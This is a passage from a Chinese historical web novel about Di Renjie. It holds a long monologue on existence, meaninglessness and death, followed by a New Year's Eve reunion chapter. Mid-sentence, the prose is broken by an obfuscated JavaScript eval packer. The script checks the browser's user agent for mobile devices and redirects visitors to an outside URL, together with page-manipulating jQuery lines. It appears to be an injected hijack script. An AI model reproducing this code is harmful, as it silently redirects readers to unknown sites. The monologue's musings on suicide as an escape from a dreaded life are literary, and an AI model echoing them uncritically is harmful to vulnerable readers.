“现在,我们再说存在的范畴应该包括什么。存在,是一切的有。一切有的,都是存在。所以,存在包括具体性的存在,也包括抽象性的存在;包括实在性的存在,也包括概念性的存在。所谓的存在,也就不是只单单包括具体事物的存在,也包括抽象概念的存在。有着真实对应物的概念是存在,没有真实对应物的概念也是存在。也就是说,具体事物一定对应着某个代表自身存在的概念,而反过来,概念却不一定非得对应着什么具体事物。因为具体事物的存在一定有与之相对应的概念存在,而概念存在却不一定有与之相对应的具体事物存在。所以说,概念的存在更广,因为具体事物的存在需要它,而它不一定需要具体事物的存在。因此,存在既包括了具体事物的存在,也包括了非具体事物的存在,也就是概念的存在。也就是说,具体事物的存在与概念的存在一起构成了存在的内容。存在的内容包括了可能存在的一切存在。我们无法首先去确定不存在的范畴,因为不存在是相对于存在而言的,也因为其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051985|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不存在相对于存在而言,更为抽象。于是,我们只有透过考察关于存在的范畴,才能确定不存在的范畴。原因还是因为,存在是一切问题的起源和根本,如果没有存在的存在,关于存在的问题自然就不存在,那么问题也就不存在了。既然关于存在的问题都不存在了,不存在也就更不成问题了——本身就是不存在的,范畴也就确定了。然而,存在存在了,于是范畴被分成了存在与不存在,二者的整体是一个范畴,从概念上说,是存在的范畴,从实在性而言,也可以称之为存在,因为有了存在的存在以后,不存在的本身也是一种存在了,不只是概念上的而已,也包括其本质,也就是虚空。但是我们在考察这个问题的时候,不能把不存在当成是纯粹的虚空,因为虚空是我们给它定义的存在,也许不存在是个根本就不存在的东西,其本质连概念都算不上,更不用说还具有什么存在的内容了,而虚空也是内容,因为虚空还是相对于空间而言的,没有空间也就没有虚空好相对,更何况虚空本身还容易被我们误解为是一个空间本身,虽然其似乎为无限大,然而依然属于存在。那么连问题都没了,不存在才真的不存在了,因为真的不存在不可能延伸出、产生出问题来,问题是从存在上来的,而不存在的概念存在,是因为存在的存在来的,包括存在的实在性存在和概念性存在。 “现在,我首先能够确定一件事,那就是这个问题之所以存在,是因为首先有了存在的存在,所以这个关于存在的问题才会存在,也才会有意义。其次,存在当中,一切的概念都存在,概念本身也代表了存在的一切内容和可能性,因为概念的存在大过实在性的存在,也就是需要概念来相对应的具体事物的存在。概念的存在,是可以被主体思维的存在,是主体思维的对象。主体思维的对象,包括了一切可以被思维的对象。一切可以被主体思维的对象,包括了一切的概念性的存在。一切概念性的存在之总和,是主体所能思维的一切对象。于是我们得出结论,概念的存在之总和等于存在之总和。因为概念的存在是无穷的,具体事物的存在不是。如果具体事物的存在还没有一个概念性的存在与之相对应,那也一定是因为还没有主体把具体事物的存在进行思维,因为一旦思维了,具体事物的存在就一定对应着一个抽象概念,哪怕不知道叫什么,也要叫个什么概念,哪怕什么也叫不出,也还能用存在来代替。因此,可以被存在的主体进行思维的一切,都是属于存在的范畴。存在的范畴也就是,能够被思维的一切。确定了这一点,我们就能够得出结论了:能够被思维的一切就是属于存在的范畴,此外的都不存在。不存在的范畴也就是在能够被思维的一切之外。结论虽然是如此,然而主体却并不能够用思维去确定存在的范畴,因为主体(我指的是人类)的有限性注定了其无法去思维一切,也就是所有概念性的存在。所以,存在的范畴不可能被人类的主体性思维认知。这里我说的是真的去认知,而不是理论上的。理论上的,我已经论证完了,这个问题也就解决了,至少在逻辑概念的推理论证上,我已经确定了存在与不存在的范畴了。然而实在性的存在层面,却无法证明存在与不存在彼此范畴的界限在哪里。只能从概念的范畴来确定存在这个概念所包含的范畴。这是真理吗?这是相对真理,是我这个命题的真理,不是一切存在之所以存在的绝对真理。绝对真理本身就包含着实在性,偏偏用逻辑推理论证不出来。所以我这个问题是解决了,然而这个问题的解决,也反过来证明了一点,那就是:用逻辑思维,找不到真理的本身。真理的本身,绝对不是一个概念性的存在,虽然真理可以被概念形容,然而真理的存在是超越概念性的存在的,是具体存在的。而这,是我们的思维所无法确定的。 “论存在之困境。关于存在的意义和存在自身所蕴含的困境。存在的困境,不在于任何别的方面,就在于其为存在自身。存在自身,就使得其中的许多存在物不由自主地陷入了困境当中。我且不论存在物当中如动物、植物以及无机体等,包括那些没有生命的存在。我只打算探讨关于有机体当中最高级的存在形态——人类,这群生活在地球上的生物,他们做为存在物的困境。这里有个不言自明的真理,那就是人类并不拥有身为存在的绝对自由。姑且不说人类在其短暂的生命当中有没有真正的自由意志存在,只说人类能够存在于世界以前的那个未知的状态,他们到底有没有自由意志?我所谓的自由意志,意思也很简单,就是说,他们有没有选择的可能性?选择什么呢?就是选择是否要来到这个世界上做人,甚至是做一个什么样的人。如果有,那么一切也就都定好了,但是起码对于存在本身,人类还是有选择的可能的。比如神话当中,人类就可以在来到这个世界以前,先选择自己的命运。佛教则是说,三世因果都是一个人自己的业力使然。有说人类的存在是神的创造。科学自然是用生理上的原因解释了。 “但是问题也正是在此,如果人类的存在只是偶然中的偶然,那么存在本身就真的是毫无意义。因为我的存在只是父母结合的偶然,出生也纯粹只是自然界当中繁衍后代的自然法则,那么,我就不可能在我偶然的存在以外找到任何意义,那么我这偶然的存在本身就是一切,我于是只能在我的生命当中找寻意义,而意义又被自然法则全部说明了,那么就不可能有真正的意义来说明我为什么要存在。结果就是,存在陷入了困境,这种困境在于存在的本身被自然法则定义成了绝对的虚无,完全的偶然,那么在这虚无又偶然当中,所有一切人类社会当中的意义也都只是人类在虚无和无意义当中强行添加的意义,却不能成为存在本身的意义。而且人类在世界当中一切添加的产物,都更加把存在局限在了困境当中,这个困境就是人类只能在这个世界上找寻其存在的意义,于是这个意义就千奇百怪、各式各样,每个人都有自己的意义,但却都是在存在当中寻找存在的意义。我感觉这种看似合理的、人类已经做了几千万年的事情,恰好证明了存在处于一种困境当中,以至于我们无法从存在的根本上找寻存在的意义,也就是:为什么我们要存在?存在的本身是为了什么目的?难道存在的意义就在于存在自身吗?如此的话,存在的意义也就只能在存在的产物当中追寻了?所以说,如果存在没有高于存在的意义存在,那么,存在就必定陷入虚无,也就是陷入了没有意义的存在的困境。这种困境,如果不能从根本上来解决,那么一切人类社会当中的事情就都只是在一个困境当中打转,只是加深了人类存在的虚无而已。难道人类的生存只是为了延续生命吗?如果是这样,迟早都会到来的死亡照样把存在的虚无显明了,也就是说,人类自从有了这个存在的生命以来,一切都是未知的,唯独‘人生自古谁无死’这件事是必然的。那么一切为了延续生命的挣扎也都属于枉然,都是在存在这个无奈的现状当中强行把握住的不根本的意义罢了,这只会加深存在的困境以及虚无。 “那么问题来了,我怎么知道我的存在是否有超越困境的可能性呢?我怎么知道我在来到这个世界以前是有的选择还是没的选择呢?我怎么知道我从哪里来到哪里去呢?我怎么知道我是否能够在这个存在的困境当中找到意义和出路呢?现在,我们不假设神的创造和阿赖耶识里面有前世的种子,只说如果人类的存在是科学的、偶然的,那么人类真的就不比动物高明多少,因为两者都得死。存在是生死的根本原因,因为没有存在也就没有生死好谈。然而我这一辈子的存在意识是突然冒出来的,我已经不记得我是否有前世的记忆了,就像大多数人一样,在无数个没有今生的存在意识的时候,‘我’并不存在(注意,是说相对于‘这一辈子’的存在意识),然而这个会思维的、有主体意识的我,突然就存在于这个世界了。如果说之前这个我不存在,而死以后又归于沉寂,那么这个我就是如此的短暂又有限,如何能够在这一生当中找出真正永恒的意义呢?连这个宇宙天地万物都不是恒常存在的,那么其中的人类又如何能够更加恒常呢?如果恒常指的是时间的无限延续,那么,这照样无法说明存在是有意义的。所以,纵然生命不会死亡,如果找不到存在的根本原因,那也就同样无法说明存在的意义。也就是说,存在的意义不是一个人活的长短的问题,是为什么要存在的问题。这个问题,我们有了这一生的存在意识,可以去寻找,也可以去轻轻松松地挥霍浪费掉。如果一个人找到了属于自己的意义,那也不能算是浪费了这一辈子。然而这个根本问题必将继续困扰着存在物,直到最后一个主体意识泯灭为止。 “论出路之难寻。关于人类的存在之终极出路的艰难探索。自从人类存在以来,就开始在寻找出路的艰难过程中探索,而这个出路之所以很难寻觅,恰是因为这一条终极出路就是关于存在本身的,也就是说,这是关于人类存在的出路。因为如果没有最根本的存在这个因素,也就没有必要去探索什么出路了。出路,就是人类的存在的出路,没有存在就没有出路可以去寻找,而既然存在了,那么就必定有着出路存在的可能性,因为存在的本身就给出路开辟了可能是有的可能性。这个出路可能是有的可能性就被包括在存在的既定事实当中,也就是人类已经存在了的现状当中。如果存在不成立,那么寻找出路之事也自然是不成立,因为没有存在可以给出路的存在存在的范畴;反之,存在既然成立,那么存在的本身就已经蕴含了有出路存在的可能性,也就是存在的存在给了出路存在的可能性,于是存在的存在本身就是出路有可能存在的范畴。现在,我们已经确定了存在当中有可能蕴含着终极的出路,那么就可以开始考察这个出路的问题了。首先,我在前面已经论述了一点,那就是:如果存在的本身只是纯粹偶然的,那么存在也就意味着虚无。换言之,人类如果就其存在而言,只是一个在自然法则之下造就的偶然现象,那么人类的存在也就不可能包含着真正的意义。这是什么缘故呢?因为存在的本身是最根本的问题,所以如果这个最根本的存在问题得不到一个关乎存在自身的意义,那么所谓的意义也就只能是人类在存在当中所赋予的小于存在自身的意义,也就是生命的意义。很显然,所谓的人类的存在,现象上所呈现的只不过是一群‘高等生物’在自然界当中的生命过程,也就是从有了生命到走至死亡的过程,为人类之一生的普遍写照。人类的存在形式与同样具有生命的动物、植物,没有任何本质的区别。从这一方面来说,人类甚至没有什么比其他生命体更为高级之处。这里我没有谈到人类与动物等生命体的区别,如理性思维、经验归纳等能力,我只是纯粹就生命的存在而言,得出了一个结论:人类的存在也只不过是一个从出生到死亡的过程。在这个过程当中,人类之所以高于动物就在于其有寻找出路之意愿,以及相对的能力。 “现在我们继续说有关于人类出路的问题。我已经说了,人类最终极的出路,必定是有关于其存在本身的意义问题。这是因为存在是一切的根本问题,如果没有存在,这一切都不必再谈。而既然已经存在了,那么存在的问题就是最根本的问题。如果存在的意义和目的这个问题解决了,那么存在当中的一切其他问题也都迎刃而解了,也都被包括在最终极的答案当中,不足为虑了。然而,有关于最终极的答案,也就是存在本身的出路的问题,除了宗教和哲学以外,没有什么别的学科在致力于解决。比如科学、物理学等学问,都是在现象当中探索,而现象的本身就是存在的产物。如果没有存在的存在,也就没有存在当中的现象了。于是,人类的存在也就处于困境当中了,因为终极出路很难寻找,所以退而求其次,在现象当中探索,最后甚至得出了一个结论,说:现象的本身就是存在的意义。也就是说,存在的意义就是存在的一切现象本身,那么存在的意义也就不可能在存在的现象以外,于是现象就是意义,意义也就只能在现象当中寻找,要么就直接承认说,存在的全部意义就被包含在存在自身当中。于是,人类的历史就这么发展了下去。我们看到,最初人类是为了生存,存在的目的在于首先活下去,延续这个血肉之躯的生命,这就是最古老的存在的目的。人类开始发明了便于生活的种种用具。然后,这些用具逐渐地变成了杀人的武器,人类因为种种原因开始互相残杀。归结起来,生存还是主要原因。当我在谈论存在的意义之时,我悲哀地发现,人类几千年大多数时候,都处在连生存的最基本温饱尚且得不到解决的状态。这种情况甚至到了如今都还是一个很大的问题。而最根本的原因,还是因为存在。人类的存在形式偏偏是一个有限的生命体,需要吃饭和睡觉,是会生病和死亡的。很大一部分问题就是因为人类的肉身存在而引发的。‘吾所以有大患者,为吾有身。及吾无身,吾有何患?’这句话恰好说明了身体的存在是人类存在的最重要的表现形式,因此人类的存在是有限的,人类甚至在生存方面还不如动物,许多动物的生存能力要远远强过人类。之所以说了这些,是想表明一件事:终极的出路是很奢侈的。人类连最基本的生存问题都很难解决,于是人类历史中的进程就表现在:于人类社会当中寻找出路。然而存在的本身却被摆在一旁了,因为存在太抽象,或者说,太高了。人类至少暂时还无暇去论及有关于存在的出路,因为他们还没有找到自身在人世间的出路!我们人类被困囿在了存在最渺小的一个范畴当中,尚且找不到出路,何况终极出路呢。而即便是,我假设,人类至今为止所有的生存问题、物质问题、社会问题、世界问题,甚至是人性的问题全部都解决了,难道存在的出路我们就找到了吗?也许很多人会问,如果上述问题都解决了,那么出路的事情为什么还要考虑?为什么还需要去寻找出路?我想说,因为,我们依然还只是个人,我们只是一个渺小的生命体,我们自身的存在的问题还没有得到解决。有着丰富无比、用之不竭的物质供应和生命享受的释迦牟尼佛当初为什么要出家寻找出路?因为他看到了生老病死,这是再多的财富也解决不了的问题。为什么所罗门王要写出《传道书》来?因为再多的享受,也解决不了生命存在的最根本的问题。如果存在当真是偶然的,那么存在就毫无意义,于是及时行乐就成为了一种生活方式。倘若一切都是虚无,那到底什么是应该追求的呢?纵然所有的物质问题都解决了,那么人的生老病死呢?这说的还不是精神上面的问题,这依然是生命存在的问题。那么这许许多多说不尽的问题,最终依然指向最根本的问题:存在的问题。为什么存在?这个问题解决不了,伴随着最终极的出路的问题,也解决不了。出路何其难寻! “论死亡、未知与恐惧。关于不可知性所致的恐惧在生命和死亡二者相关的问题之上的考察。当一个人对于生命的恐惧大过了其对于死亡的恐惧,那么这个人就有可能会选择去否定生命,走向自尽之路。这是因为,真正让人对于死亡产生恐惧之处,正是死亡给人的一种既深邃又未知的感觉。换句话说,人类对于自身所无法把控的事物,会产生一种恐惧,而这种恐惧的本质,又偏偏是因为未知。所以,当死亡的未知不再具有威慑力的时候,对于死亡的恐惧也就跟着消褪了。原因无它,只不过是对于一件事物有了把控,这种把控让人觉得并非是不可掌握的范畴,至少在知识上,死亡的概念要足够明晰,这样一个人才会觉得也不过如此,因而不足为虑。然而死亡是个至今为止尚无定论的事情,甚至至今仍是最深邃最重要的一个问题,因为它直接关系到存在物当中的生命体,比如人类,他们的去向问题。每个人都会死亡,并且都正处在走向死亡的过程当中,不过是个时间早晚的问题罢了,因为我们每个人的生命的最终结局,都是相同的:我们早晚都得死。这是个无法逃避的问题,因为除了死亡以外,没有什么是真正属于全人类的共同结局,至少也是指今生今世这个生命的终结。死亡是绝对会到来的。有的人这一辈子可能不会生病,但是也一定会老,而就算一个人还没有等到老,比如还在很年轻的岁月,但是命运无常,突然遭遇横祸,或是什么别的原因,还没白头就已经见证了死亡的到来,也是有的。于是,我甚至可以说,我们每个人就算千差万别,经历各异,然而死亡是我们此生共同的收场,没有任何悬念,也不用怀疑,只是时间早晚和方式不同罢了。那么我们就可以得出一个结论:死亡的确是有关于人类最重要的问题。现在继续说刚刚讨论的。我已经说了,我们对于死亡的畏惧来源于未知,也就是说,死亡是一个属于我们的感官经验所无法接触的范畴,是超越于我们的主观经验之外的范畴,是包括理性在内也无法探知的范畴,甚至可以说,死亡本身就是属于形而上的一个范畴。我们于是无法了解它。然而,我们同样无法去了解我们现在的生命。也就是说,我们对于我们正在经历的生命走向,同样是一无所知,当然,除了最后必定会死,这是我们对于我们的生命最有把握也是最为明晰的知识。虽然我们对于自身必定会死这件事的知识,用的也只是科学的归纳法,也就是我们发现所有生命体最后都会死亡,然而,我们还是信了,至少我们大多数人都没见过几个神仙是飞升而去,不必经历死亡的。那么,我们对于自身的生命走向,也就是我们人生当中的前途和未来,同样是无法把握的,也就是说,同样是属于未知的。那么,我们对于生命,自然也会因为未知而产生恐惧,甚至,因为生命中的未知夹杂着一部分的知,于是这种恐惧会被放得更大,甚至大过对于死亡的纯粹未知。为什么呢?因为一部分的知,如果是属于不好的方面,而我们无法得知是否存在着好的方面,那么,我们就只知道人生的前途是一片黑暗,未来是不好的,因此,我们会比对于死亡的未知感到更加恐惧,更加难以忍受!我们并不知道死亡是什么样的,所以我们至少还可以偶尔去幻想,它也许比生命好。然而,生命就不同了,因为我们就处在生命的进程当中,所以它的不好,我们是明确知道的。那么,如果我们的生命没有迹象显示出它会越来越好,反而有许多迹象显示着它将来只会越来越坏,那么,我们对于生命的未知的恐惧,自然也就被放大了,直到有一天,大过了我们对于死亡的未知的恐惧,那么,我们就有可能去走一条逃脱这个恐怖的生命的路,也就是去慢慢地靠近死亡,然后任凭那未知的黑暗彻底吞噬掉我们渺小又脆弱的生命,进入我们生命当中经验所无法探索的神秘范畴,然后带着这个秘密远离人世间,任凭世上还活着的人们继续在未知的生命当中挣扎,直到他们也都走向这个共同的结局为止……现在我们很悲哀地发现,这个问题无解。我们无法了解死亡是怎么一回事,也就是死以后:人到底还有没有意识存在,有没有不灭的灵魂,有没有轮回转世,有没有天堂地狱,有没有三世因果,有没有另一个世界、另一个范畴,有没有像出生以前那样我不记得的无意识状态,有没有虚无,有没有黑暗,有没有光明,有没有我。我什么都不知道。同样,生命的走向也是未知,除了众人一同走向死亡,其他,我们一无所知。一个人开开心心的,有可能突然祸从天降。我们觉得幸福要到来的时候,来的却是灾祸。我们认为没指望的时候,突然间天助我也。我们认为好运要到了,却只有雪上加霜。我们什么都不知道,什么都无法预料,因为我们只是有限的渺小的人啊!如果有一天,我们对于生命的无常的这种恐惧,对于生命前途光景的未知的惧怕,大过了那个深邃又无解的话题——死亡,那么,也许我们也会选择离开,虽然,无论我们做什么选择,是去还是留,在存在的空虚当中,都毫无意义。不论是生命还是死亡,都不是最好的。已经死了的人,也不知道他们跟我们还活着的人相比,是不是会更幸福。但是,至少有一点我可以肯定:最幸福的人还没有出生。 “这个世界一直就是这样,从来就没有变过。而其中的人呢,亦是如此。几千年来,我们一直处在有限当中,而内心深处却追寻着无限。人们对于恒常的渴望,其实也是一种执着。所以孔子说:‘未知生,焉知死。’短暂的今世,尚且是一个巨大的谜团,更何况另外那个世界呢。‘朝闻道,夕死可矣。’说明孔子自己也还未寻着那个‘道’。又说:‘七十而从心所欲,不逾矩。’一个人要等到七十岁,才能拥有真正的自由,可以不再被自己的欲望所捆绑,做一个真正属于自己的人。可是一个人一生又有几个七十年呢?或许我狄仁杰七十岁的时候都已不在了。所以当你真正看明白了这一切,你就会发现你穷极一生所追求的,也不过是昙花一现,转瞬即逝。” 洪辉道:“那这一切不都是一场空嘛,又有什么意义呢?” 狄仁杰道:“当你发现空的本身亦是空了时候,你就看到了实际。”哈哈一笑,又叹道:“有时候我觉得人来世上的意义啊,就是来发现人在世上是没有意义的,这也是全部的意义所在。或许在这个无聊且痛苦,又无比漫长的过程当中,没有意义地去寻找意义的本身,也是一种意义吧。意义的本身,因此也就并不存在,只是我们在寻找意义的同时,给予了它很多意义。可这些根本就不是意义,所以哪怕是这些概念的本身,也都跟意义一样,是不存在的。而真实存在的,只是一个在寻找不存在之意义的人,仅此而已。那么人就有意义了么?如果人有意义,也就是说人的自己本身就是一种意义了话,那人身为意义又何必再去寻找自己以外的意义呢?还是说,能称之为意义的,不是人,也不是人以外的一切,甚至包括这一切之外,而是一种人对于不存在之意义的追求所带来的有了‘意义’二字的幻想呢?如此看来,果然是没有意义的……”又看着二人道:“所以你就明白,我此次前来查案,乃明知不可为而为之。可我又为什么还要去做呢?因为在这看得见的短暂中,这一切的存在本身就成为了一种永恒的意义,使我坚持走下去,而永不后悔!” 洪辉、狄宁听得激动不已,叫声:“好!我们跟着你!” 三人遂一路到猪圈里吃猪食,偶尔还能吃到些别人丢出来的残羹剩饭,也就这么挺过来了。 原来狄仁杰本就体弱多病,又挨冻受饿、苦恼奔波了一番,身体早已糟透。这时诸多症状一概发作,感到:脑袋昏沉发晕,眼睛干涩疲劳,面部神经刺痛,耳鸣鼻炎喉肿,胸口发闷作呕,肺痨咳嗽不休,肠胃痛如刀绞,皮肤瘙痒难挠,还有双腿双脚、两手两臂、关节膝盖、肌肉筋脉,尽皆痛入骨髓。说白了就是浑身上下没一处不带病的。 狄仁杰常常暗自流泪,感到生不如死,也只靠着一丝执念才活了下来。 这日乃岁除,一年的最后一日。 狄仁杰只感到眼前恍恍惚惚,不知自己身在何处。 是在阴阳两界的交界点呢,还是在天上飞呢? 洪辉二人明知狄仁杰不论身心都很痛苦,却不知要怎样安慰的才好,只说:“再坚持一会儿,就到了。” 狄仁杰道:“到,又怎样?它为什么啊?它管我什么事啊……到边关了吗?到了……又怎么样?呵呵呵呵……” 二人见他此时已然神志不清,也不知该如何是好。 洪辉道:“先生累了,先坐下来歇歇吧。” 狄仁杰眼目空洞,望着地上的白雪,缓缓道:“我知道,你们都是在利用我,我狄仁杰打从一开始就是你们的一枚棋子。坐山观虎斗,借刀杀人,过河拆桥……”苦笑了几声。 狄宁道:“老爷为什么这么说?” 狄仁杰看着他笑道:“你难道还不明白吗?” 他嘴里又喃喃了一句:“飞鸟尽,良弓藏,狡兔死,走狗烹……”说着,整个人又倒下了。 二人忙扶他起来,见他又昏迷了过去,遂又皆背着他行。 天晚时分,来至缘州城外。 正值除夕之夜,家家欢庆,户户喜乐,处处充满着团圆的氛围。 因暂停宵禁,城门尚开,二人便跟着群众一块涌了进来。 只见城中张灯结彩,火树银花,鼓乐喧天,闹热非常。 洪辉、狄宁二人背着早已醒转的狄仁杰来至一僻静去处,让他坐下来歇一歇。 只听得远方传来了人们一阵阵的欢笑,近处又有爆竹声响,眼前的几间屋子都悬挂着大红色灯笼,门上贴了春联。 三人这才想起:今日是大年三十。 狄仁杰不觉微笑了,想道:“只要他们能过得好,我也就心满意足了。” 洪辉想道:“不知道父亲还有乡亲们这会儿过得怎么样了。哈,你们可不要记挂着我,我很好,你们也要好好的。狄先生他是个好人哪,他是个可以为了别人而牺牲自己的人。我洪辉跟着他虽然苦了些,可是从未后悔过。听说新年可以许个愿望,至于会不会实现,这我就不知道了。不管怎样,还是试一试吧:但愿上天能够保佑狄先生这样的好人,使他能够安度晚年。”看了一眼狄仁杰,见他面目慈祥,浮现出了知足的神态,又想道:“不对不对,这只是我洪辉个人的想法,未必就如狄先生所愿。我要真是为了先生好,我应该照着他的意思来许才是。好吧,那我就再许个愿:但愿狄先生能够早日到达边关……” 40. 第四十章 重逢 狄仁杰三人正挤在游人当中逛街,观赏着各式各样的花灯。 忽然在一片喧嚣里,狄仁杰听到了几个熟悉的声音清清楚楚地传了来: “那玉簪子本来是你的,可你既然给了鹃妹妹,那就是人家姑娘的了,你凭什么为了几两银子就给拿去当了!” “你闭嘴吧。鹃儿姑娘可比你像样得多了,是她主动要我带去换银子的,难不成是我韩忠义硬抢来的?” “就算是鹃妹妹给你的,你他妈的也不能要!” “哼,我稀罕那一点儿银子呢!” “我看你就是很稀罕这点儿臭钱!” “要没这点儿臭钱你就喝他妈的西北风去!” “韩大哥、乐哥哥,你们怎么又吵起来啦。那玉簪子本就是韩大哥送给我的,这会子咱们缺钱用,是我提议要拿去当的。” “鹃儿姑娘说得是啊,韩大哥、胡兄弟,我们现在既有了银子,至少暂时是饿不死了。” “就是就是,玉簪虽然珍贵,可也是身外之物。” “那你韩忠义怎么不拿你那把什么‘凌云宝剑’换去啊?值个什么屁啊。” “哼,你知道值个屁,还放你妈的屁呢。” “韩大哥那把剑可值钱了,可不能拿去当啊。” “没有,没有。” “哼,他怎么会舍得去当‘宝贝儿’呢?咱都饿死,也没他剑重要。” “胡兄弟,你别说了吧。” “嗐,得了得了,既有了钱,那咱这就吃年夜饭去。” 说话的正是韩忠义、胡乐、鹃儿、马肃,还有梅四儿。 洪辉见了狄仁杰、狄宁惊讶的神情,还不明就里。 狄仁杰没想到韩忠义他们竟然还活着,实在是大喜过望,跟狄宁都笑逐颜开。 这时在人群中,双方却是各自往彼此的反方向行去,便擦肩而过了。 街上太过拥挤,连回个头也难,更别说转身去寻了。 狄仁杰想千万不能错过了,只大声叫道:“忠义!胡乐!” 狄宁也跟着叫。 洪辉诧异道:“先生、狄宁哥,你们在叫什么呀?” 他忽然想起狄仁杰曾多次说过,他有个叫“忠义”的好朋友,问道:“先生,你说的‘忠义’,莫非是那个已经去世了的好朋友?” 狄仁杰笑得合不拢嘴,道:“是啊,是啊!他没死!我的那几个好朋友啊,他们都没死!” 洪辉见狄仁杰欢喜,自然也开心了,而且一直就很好奇,这位“忠义”是个什么样的人物? 三人于是当街乱叫了一番。 却说韩忠义隐约听到了有人在背后叫唤自己,遂回过头来一看,也只有那川流不息的人群而已。 马肃见韩忠义皱了皱眉,摇了摇头,问道:“怎么啦韩大哥?” 韩忠义道:“我好像听见有人在叫我们。” 胡乐冷笑道:“自作多情,我看是你自个儿叫呢吧!” 韩忠义瞅了他一眼,道:“好像也有叫你呢。” 胡乐道:“怎么可能,谁闲得没事儿叫咱呢。” 鹃儿道:“好像我也听到啦。” 马肃道:“是有人在叫唤呢。” 梅四儿道:“街上这么多人,会不会是听错了呀?” 几人仔细一听,果然有人正叫着姓名呢。 韩忠义“啊”的一声,道:“好像是大人!” 另外几人也是“啊”的一声。 胡乐道:“你说啥?!是老爷?!” 马肃道:“真是狄公吗?” 鹃儿道:“狄老爷也在缘州呀。” 梅四儿道:“我们一路不就是在找寻狄阁老嘛,这会儿总算能见着了?” 却说狄仁杰、狄宁、洪辉三人叫了一阵子,未见韩忠义他们有所回应,倒见旁边的人先骂了起来:“叫什么叫啊!大过年的,你们仨嚎丧呢!” 狄仁杰、狄宁听了不怒反惊,连忙转过头去望向洪辉,正欲劝他别跟他们拌嘴,洪辉却早已跟这群人吵上了:“我们自嚎我们的,关你们屁事!” 那些人道:“哎哟!瞧瞧,瞧瞧,原来是仨叫花儿啊!就你们这副德性还好意思上街呢?我看你们还是躲起来要饭去吧!” 洪辉听了大怒,指着叫道:“你们有种的再说一遍试试!” 一人将洪辉一推,叫道:“怎么着啊!” 洪辉一拳直打那人脸上,一面骂道:“我去你奶奶!” 众人忙后退了几步,都叫道:“好端端的,你做什么打人哪!” 洪辉还要骂人,狄仁杰连忙断喝,走到前面向众人赔礼道歉。 狄宁忙拉着洪辉,跟狄仁杰穿过人丛去了。 狄仁杰正垂首走着,猛一抬头,只见面前一个大高个儿正满面泪痕地望向自己,正是韩忠义。 旁边还有胡乐、鹃儿、马肃,亦皆泪流满面。 狄仁杰一见他们,立时就哭了,面上却是笑着的。 韩忠义几人泣不成声,神情亦是满了欣慰。 此时相顾无言,惟有泪千行。 各自哭了一会儿,方开口叙话。 韩忠义道:“大人,别来无恙否?” 狄仁杰微笑着擦了擦泪,道:“好,好,我很好。” 几人遂避开人群,来至一小巷子里。 狄仁杰问他们摔下悬崖是怎么活下来的。 韩忠义遂说起当日几人正正好一齐掉在了峭壁间的一棵树上,又弹到了旁边一个山洞之中,在里面认识了这位叫梅四儿的青年,他是军粮被劫一案的幸存者。 狄仁杰听到这便忙问道:“军粮一案到底是怎么一回事?” 韩忠义道:“大人,这件事有些复杂,容卑职日后再慢慢告诉你。” 又说当日与马肃二人一齐背着胡乐、鹃儿、梅四儿三人出了悬崖,却不见了狄仁杰、狄宁二人。 狄宁道:“当时我跟老爷到山下找你们的尸体,没找着。” 胡乐道:“我们也去找你们的尸体,也没找着。” 韩忠义道:“是啊,当时我们深怕大人和你会去寻短见,便在山上多待了几日。后来我们去到了附近的柳溪村,才知道不久前大人和你在村子里有待过。那个洪老村长人很好,留着我们住了几日。” 洪辉一听,忙问:“我爹还好吧?那会儿我应该已经出来找狄先生去了。” 韩忠义道:“这位是……” 狄仁杰笑道:“他便是柳溪村洪老村长之子洪辉。这一路上多亏了他和狄宁,否则我这条老命早就没了。” 韩忠义哈哈笑道:“小辉兄弟,你父亲曾多次跟我提过你,今日咱们总算是见面了。” 洪辉笑道:“你就是先生说的那位好朋友‘忠义’?” 几人听了都笑了。 韩忠义笑道:“是我,我叫韩忠义。” 洪辉见这位“忠义”与狄仁杰一样和蔼可亲,对其顿生好感,笑道:“好好好!狄先生多次提起过你,以为你去世了很是伤感呢。既然你们都还活着,那实在是太好了!” 胡乐道:“欸兄弟,老爷有没有提到过我呀?” 洪辉道:“先生有提到过忠义、胡乐、鹃儿……你是那个胡乐还是那个鹃儿啊?” 几人一听又笑了。 胡乐白了他一眼,道:“我当然是胡乐咯!” 鹃儿微笑道:“我叫鹃儿。” 洪辉一见了她,不禁脸红。 只见烟花在夜空中五光十色。 狄仁杰与韩忠义等人久别重逢,又感动得落了泪。 胡乐道:“喂,你们一会儿再慢慢儿叙旧,咱先吃年夜饭去。” 韩忠义道:“你饿着吧,没钱给你买吃的。” 胡乐道:“你胡说!你赶紧把那几两银子给我拿来!那是用鹃妹妹的玉簪换来的,凭什么在你身上收着!” 韩忠义道:“你不是刚刚还说这是‘臭钱’嘛,这会儿又想要了?” 胡乐道:“韩忠义!你欺负人!” 狄仁杰道:“反正我们三人身上是真的一点银钱都没了。” 韩忠义几人这才注意到,狄仁杰三人活像乞丐。 惊问缘由,三人叹道:“一言难尽啊!” 八人于是来至一家饺子店,小二领着上了二楼,临街栏杆边坐了。 放眼望去,只见遍地灯彩辉煌,街上游人如堵,一片繁华绚烂,花团锦簇。 小二笑道:“几位,今儿是除夕,俺店里饺子打二折。” 胡乐道:“钱的事儿不要紧,赶紧上菜去。” 小二道:“你们要点哪一种饺子馅儿?” 胡乐道:“管他哪一种,哪一种好吃上哪一种。” 小二道:“不同的馅儿价钱也有些不一样。” 胡乐道:“欸管他一不一样,你就拣最贵的上。” 韩忠义忙拍了他一下,笑骂道:“你可别乱说,我们得省着点儿花呢。” 胡乐道:“你爱省省去!横竖‘臭钱’是你的,你爱咋咋地吧!” 问有哪几种饺子馅,小二道:“有猪肉白菜馅、猪肉韭菜馅、猪肉三鲜馅、猪肉茴香馅、猪肉香菇馅、猪肉虾仁馅、猪肉粉条馅、猪肉玉米馅、猪肉……” 胡乐道:“妈呀,全是猪!” 洪辉道:“胡乐哥,猪多好呀!我跟狄先生、狄宁哥一路还都跟猪抢吃的呢!” 韩忠义几人一声惊呼,忙问:“什么跟猪抢吃的?” 